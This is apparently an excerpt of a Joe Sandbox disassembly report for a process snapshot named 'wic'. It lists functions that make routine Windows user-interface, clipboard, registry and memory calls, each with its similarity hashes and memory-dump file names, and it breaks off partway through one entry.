Function 0095C9F4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0095C9FB

Part of subcall function 0095C967: OleGetClipboard.OLE32(?), ref: 0095C97D

ReleaseStgMedium.OLE32(?), ref: 0095CA79
ReleaseStgMedium.OLE32(?), ref: 0095CAC6

Strings

', xrefs: 0095CA35

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MediumRelease$ClipboardH_prolog3_catch
String ID: '
API String ID: 2576392873-1997036262
Opcode ID: aa0a10c82b29df81c644bee5829d42ab0f2847956047c31462106105bc6d4f0d
Instruction ID: a3330af78bd1457b083dc9433fe0dc4ad02ac4fba15ff47cd845c8eebae61703
Opcode Fuzzy Hash: aa0a10c82b29df81c644bee5829d42ab0f2847956047c31462106105bc6d4f0d
Instruction Fuzzy Hash: BA51BEB1A00209DFCF01DFB9C88AAADBBB9AF48711F148019F905F7281DB749E45DB61

Function 008A2628 Relevance: 10.6, APIs: 7, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 009340C4: __EH_prolog3_catch.LIBCMT ref: 009340CB

UpdateWindow.USER32(?), ref: 008A26D5
EqualRect.USER32(?,?), ref: 008A2715
InflateRect.USER32(?,00000002,00000002), ref: 008A272D
InvalidateRect.USER32(?,?,00000001), ref: 008A273C
InflateRect.USER32(?,00000002,00000002), ref: 008A2753
InvalidateRect.USER32(?,?,00000001), ref: 008A2765
UpdateWindow.USER32(?), ref: 008A276E

Part of subcall function 008A0783: InvalidateRect.USER32(?,?,00000001,?), ref: 008A07FD
Part of subcall function 008A0783: InflateRect.USER32(?,00000000,?), ref: 008A083F
Part of subcall function 008A0783: RedrawWindow.USER32(?,?,00000000,00000401), ref: 008A0853

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$InflateInvalidateWindow$Update$EqualH_prolog3_catchRedraw
String ID:
API String ID: 1041772997-0
Opcode ID: 13b9df3cf48548fe6b5035d399f9d4e1a0878d61cb0328375d82b1cd8fba169e
Instruction ID: 6dc9306153823e70a123c331789a6b555bf4d15393e02f5d8055ca6916fd977c
Opcode Fuzzy Hash: 13b9df3cf48548fe6b5035d399f9d4e1a0878d61cb0328375d82b1cd8fba169e
Instruction Fuzzy Hash: D7517B75600215AFDF14DF68C889AAA3BB5FB49710F144279ED0ADF291CB719E41CFA0

Function 008CC78B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008CC792
CopyRect.USER32(?,?), ref: 008CC83E
IsRectEmpty.USER32(?), ref: 008CC856
IsRectEmpty.USER32(?), ref: 008CC86E
IsRectEmpty.USER32(?), ref: 008CC883

Part of subcall function 00877631: __EH_prolog3.LIBCMT ref: 00877638
Part of subcall function 00877631: LoadCursorA.USER32(00000000,00007F00), ref: 0087765C
Part of subcall function 00877631: GetClassInfoA.USER32(?,?,?), ref: 0087769D

Strings

Afx:ControlBar, xrefs: 008CC7CB

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Empty$ClassCopyCursorH_prolog3H_prolog3_InfoLoad
String ID: Afx:ControlBar
API String ID: 685170547-4244778371
Opcode ID: 41457ecd6a4f694aef1b9a8a378fa7d7ba13bc9b4ab83457b9dcb2433b90da31
Instruction ID: 15aceb4f76c59d64b4cf400ea2cd966d66c5b8fe6ac1e6b5d8e8029e2d227374
Opcode Fuzzy Hash: 41457ecd6a4f694aef1b9a8a378fa7d7ba13bc9b4ab83457b9dcb2433b90da31
Instruction Fuzzy Hash: 2641E271A00609ABCF01DFA8C885AEE77B9FF49304F154069F809FB256DB75EA05CB61

Function 008785B7 Relevance: 10.6, APIs: 7, Instructions: 117windowthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0087850C: GetParent.USER32(00000028), ref: 00878569
Part of subcall function 0087850C: GetLastActivePopup.USER32(00000028), ref: 0087857C
Part of subcall function 0087850C: IsWindowEnabled.USER32(00000028), ref: 00878590
Part of subcall function 0087850C: EnableWindow.USER32(00000028,00000000), ref: 008785A3

EnableWindow.USER32(?,00000001), ref: 00878602
GetWindowThreadProcessId.USER32(?,?), ref: 00878618
GetCurrentProcessId.KERNEL32 ref: 00878622
SendMessageA.USER32(?,00000376,00000000,00000000), ref: 00878638
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 008786B9
MessageBoxA.USER32(?,?,00000000,008624D0), ref: 008786DA
EnableWindow.USER32(00000000,00000001), ref: 008786FF

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Enable$MessageProcess$ActiveCurrentEnabledFileLastModuleNameParentPopupSendThread
String ID:
API String ID: 1924968399-0
Opcode ID: 3669463b9237a7a907f5e5e4a518767f1d89e99f37f9ed7555786c3cd5165ef3
Instruction ID: 17cd8e7758026ad3a9a42fd219d91221d6dad9ab0f5170f4f587eb396674544a
Opcode Fuzzy Hash: 3669463b9237a7a907f5e5e4a518767f1d89e99f37f9ed7555786c3cd5165ef3
Instruction Fuzzy Hash: 90416F71A40218EBDB249F64CC8DBEDB7B8FB25750F048199E659E7284DAB0CE808F51

Function 0087C7F1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108registryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0087C7FB
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00000008,?,80000001,?,00000000), ref: 0087C8EC
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 0087C909
RegCloseKey.ADVAPI32(?), ref: 0087C92A
RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 0087C945

Strings

Software\, xrefs: 0087C866

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CloseEnumH_prolog3_OpenQueryValue
String ID: Software\
API String ID: 1666054129-964853688
Opcode ID: c0205bbb173640e2e3fefc473b4add9262e7cdb557621cb070b13b7b801378d9
Instruction ID: 2e3e9d07a55b2551f27831ea317b0cf6cb0275d35d623c88213fdef92e91a314
Opcode Fuzzy Hash: c0205bbb173640e2e3fefc473b4add9262e7cdb557621cb070b13b7b801378d9
Instruction Fuzzy Hash: 3F416E31900528ABCB25AB64CC85BEDBBB9FF09314F0081D9B549E3191DB309F95CF91

Function 00866803 Relevance: 10.6, APIs: 7, Instructions: 97windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00886043
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 00886055
GetFocus.USER32 ref: 0088606B
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 0088607B
GetLastActivePopup.USER32(?), ref: 0088609F
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 008860AE
SendMessageA.USER32(?,00000111,0000E147,00000000), ref: 008860D2

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessageSend$ActiveCaptureFocusLastPopup
String ID:
API String ID: 3219385341-0
Opcode ID: 20e8465e7bb626ea5bcfeb34b07fd09ea21a9e37a8546ea0b11fcc49ea9dff77
Instruction ID: 81d88cec95370565ec6d5a4f3d78b0feab4d8cff06715932bfe1f901674205f7
Opcode Fuzzy Hash: 20e8465e7bb626ea5bcfeb34b07fd09ea21a9e37a8546ea0b11fcc49ea9dff77
Instruction Fuzzy Hash: 6B210731305E26BBDB323B35DC88A7E265DFF44791B048161F505FB251EB51CE206795

Function 008B683A Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

LockWindowUpdate.USER32(00000000), ref: 008B687A
ValidateRect.USER32(00000000,00000000,?), ref: 008B68B6
UpdateWindow.USER32(?), ref: 008B68BF
LockWindowUpdate.USER32(00000000), ref: 008B68D0
ValidateRect.USER32(00000000,00000000,?), ref: 008B68FE
UpdateWindow.USER32(?), ref: 008B6907
LockWindowUpdate.USER32(00000000), ref: 008B6918

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: UpdateWindow$Lock$RectValidate
String ID:
API String ID: 797752328-0
Opcode ID: a42837c5e76a84809729f9404d0711058846837b4a7a6d60e4f7d2f9d17dd6bb
Instruction ID: 37f00237bb6867c73e7d768c27817a0c7655da4dda1e9090bd81b53ad10cb9ec
Opcode Fuzzy Hash: a42837c5e76a84809729f9404d0711058846837b4a7a6d60e4f7d2f9d17dd6bb
Instruction Fuzzy Hash: 01316B71900204EBDB209F64D949BAABBB5FB44711F108169E85AE73A0EB35AE10EB50

Function 00932625 Relevance: 10.6, APIs: 7, Instructions: 78COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0093262C

Part of subcall function 0093254A: __EH_prolog3.LIBCMT ref: 00932551
Part of subcall function 0093254A: GetProfileIntA.KERNEL32(windows,DragMinDist,00000002), ref: 009325A4
Part of subcall function 0093254A: GetProfileIntA.KERNEL32(windows,DragDelay,000000C8), ref: 009325BA

CopyRect.USER32(?,?), ref: 0093265F
GetCursorPos.USER32(?), ref: 00932671
SetRect.USER32(?,?,?,?,?), ref: 00932687
IsRectEmpty.USER32(?), ref: 009326A2
InflateRect.USER32(?,00000002,00000002), ref: 009326B4
DoDragDrop.OLE32(00000000,00000000,?,?), ref: 009326FB

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Profile$CopyCursorDragDropEmptyH_prolog3H_prolog3_Inflate
String ID:
API String ID: 1837043813-0
Opcode ID: a8dfd9637b88457d3c59db538be06594f4af21f22753a0c3377bf60a17159fd8
Instruction ID: c97f8a5cd1a3d9d179948add987da8223140bce372e025d8afdaecd8f0335c3b
Opcode Fuzzy Hash: a8dfd9637b88457d3c59db538be06594f4af21f22753a0c3377bf60a17159fd8
Instruction Fuzzy Hash: F131467590075AABCF01EFE0CD899AEBB79FF48304B004419F902AB255CB34AE16DF91

Function 0088288B Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 71libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,?,?,00000000,?,00880F7E,00000000,00000000), ref: 0088289C
GetProcAddress.KERNEL32(00000000,RegisterTouchWindow), ref: 008828AE
GetProcAddress.KERNEL32(00000000,UnregisterTouchWindow), ref: 008828BC

Strings

user32.dll, xrefs: 00882893
UnregisterTouchWindow, xrefs: 008828B4
RegisterTouchWindow, xrefs: 008828A8

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: RegisterTouchWindow$UnregisterTouchWindow$user32.dll
API String ID: 667068680-2470269259
Opcode ID: c7d2423db6506ee92bf0282e5079a47e0778f9bf637352529d79398cec4937f2
Instruction ID: 8076037dba58e17f037e7ca5adbace11daa70b25a1603637546767b5d7335502
Opcode Fuzzy Hash: c7d2423db6506ee92bf0282e5079a47e0778f9bf637352529d79398cec4937f2
Instruction Fuzzy Hash: 8511E632204765BBCB116B6ADCC8A6AFBACFF94765B004036F909D7600CB71ED409BE0

Function 009CC23F Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009CBF89: _free.LIBCMT ref: 009CBFAE

_free.LIBCMT ref: 009CC28D

Part of subcall function 009C26C8: RtlFreeHeap.NTDLL(00000000,00000000,?,009C2F36,00000000,00000000,00A43F78,00000000,00000007,000000FF,?,00866776,0087945F,00000000,?), ref: 009C26DE
Part of subcall function 009C26C8: GetLastError.KERNEL32(00000000,?,009C2F36,00000000,00000000,00A43F78,00000000,00000007,000000FF,?,00866776,0087945F,00000000,?,?,00878A17), ref: 009C26F0

_free.LIBCMT ref: 009CC298
_free.LIBCMT ref: 009CC2A3
_free.LIBCMT ref: 009CC2F7
_free.LIBCMT ref: 009CC302
_free.LIBCMT ref: 009CC30D
_free.LIBCMT ref: 009CC318

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 57b9c50bff66dd14b9f25f69197750c5cd4ee71953c009ff55a3012b96ca8832
Instruction ID: 346d4b2e7e1254fa1a375de1c106a9640bf7ae7c9d9a5568712c09a13f6d47a6
Opcode Fuzzy Hash: 57b9c50bff66dd14b9f25f69197750c5cd4ee71953c009ff55a3012b96ca8832
Instruction Fuzzy Hash: A5112171D41B04ABD531B7B0CD07FCBBB9C9F85740F40981DB299662A2DB66F9084A62

Function 008880AF Relevance: 10.6, APIs: 7, Instructions: 60COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 008880C9
GetWindow.USER32(?,00000005), ref: 008880D2
GetDlgCtrlID.USER32(00000000), ref: 008880E1
GetWindowLongA.USER32(00000000,000000F0), ref: 008880F1
GetWindowRect.USER32(00000000,?), ref: 0088810F
PtInRect.USER32(?,?,?), ref: 0088811F
GetWindow.USER32(00000000,00000002), ref: 0088812C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: a8e34d176a704a6dc0db9405cb152b731865050dcbe1b7ac989dbc99ecada3d0
Instruction ID: e2f378caa6f0bab5a4093c82f9c83856a7a0edd958c32b0eb3f7ff78f0bce794
Opcode Fuzzy Hash: a8e34d176a704a6dc0db9405cb152b731865050dcbe1b7ac989dbc99ecada3d0
Instruction Fuzzy Hash: 66115BB5901569EBCB21AF69CC4CAAE7BA8FF49710B508115F801E7250DF34CE069B91

Function 008D0024 Relevance: 10.5, APIs: 7, Instructions: 49windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,00004212,00000001), ref: 008D0044
EnableMenuItem.USER32(?,00004213,00000001), ref: 008D0053
EnableMenuItem.USER32(?,00004214,00000001), ref: 008D0062
EnableMenuItem.USER32(?,00004211,00000001), ref: 008D0071
EnableMenuItem.USER32(?,00004215,00000001), ref: 008D0080
EnableMenuItem.USER32(?,0000420E,00000001), ref: 008D008F
EnableMenuItem.USER32(?,0000420F,00000001), ref: 008D009E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: EnableItemMenu
String ID:
API String ID: 1841910628-0
Opcode ID: 53c0ebfec32ecee3e1b3ade849052f4c41d5901009d4ed0614070302061123c5
Instruction ID: cb5ab28505106ec848956864ec18d7f979078243071fe51a70835b5ce0ee450d
Opcode Fuzzy Hash: 53c0ebfec32ecee3e1b3ade849052f4c41d5901009d4ed0614070302061123c5
Instruction Fuzzy Hash: 3B01B171245204BFE7101B74EDCEC667BADEB04F84B00C024F3565A5B187B15D50EB20

Function 00952787 Relevance: 9.3, APIs: 6, Instructions: 265windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0095278E
GetFocus.USER32 ref: 009527E3
IsChild.USER32(00000000,?), ref: 0095280C

Part of subcall function 00885B34: GetParent.USER32(?), ref: 00885B42
Part of subcall function 00885B34: GetParent.USER32(?), ref: 00885B55
Part of subcall function 00885B34: GetParent.USER32(?), ref: 00885B6F
Part of subcall function 00885B34: SetFocus.USER32(?,00000000,?,00000000,008760C3,00000000), ref: 00885B88

RedrawWindow.USER32(?,00000000,00000000,00000105,00000000), ref: 00952B26

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Parent$Focus$ChildH_prolog3_RedrawWindow
String ID:
API String ID: 3292315549-0
Opcode ID: 5360b1ed815ead30de2a23b09c59b5151868e5798347973736b84695adeb388d
Instruction ID: 8f7831fcfb016167a411aec04a7fe08f77be1f3dac41c1cc2780cccc42355f47
Opcode Fuzzy Hash: 5360b1ed815ead30de2a23b09c59b5151868e5798347973736b84695adeb388d
Instruction Fuzzy Hash: 84A18C31A00211DBCF15DFA5C888BED77B9FF49311F184169EC09AB292DB70AE45CBA1

Function 008B43E2 Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 008B4412

Part of subcall function 00885272: GetWindowLongA.USER32(00000000,000000EC), ref: 0088527F

GetWindowRect.USER32(?,?), ref: 008B4543
GetParent.USER32(?), ref: 008B4550
GetParent.USER32(?), ref: 008B456A
OffsetRect.USER32(?,00000000,00000000), ref: 008B4629
OffsetRect.USER32(?,00000000,00000000), ref: 008B4635

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Window$OffsetParent$Long
String ID:
API String ID: 2171155602-0
Opcode ID: 28488b21291f4eded88f988ecf64ec722d472454d381926bb5c5827d1c4664de
Instruction ID: 0f68e9879bdcc165f89e4af63fa2cf0ff216bb2ed0def8497e52f4de2d6c837d
Opcode Fuzzy Hash: 28488b21291f4eded88f988ecf64ec722d472454d381926bb5c5827d1c4664de
Instruction Fuzzy Hash: A8A1E375E00219AFCF04CFA8D985AEEBBB5FB49300F14416AE805AB355DB70AE40CF61

Function 008B09AD Relevance: 9.2, APIs: 6, Instructions: 234windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008B09B4
CreateCompatibleDC.GDI32(00000000), ref: 008B0A17
CreateCompatibleBitmap.GDI32(?,?,?), ref: 008B0A4A
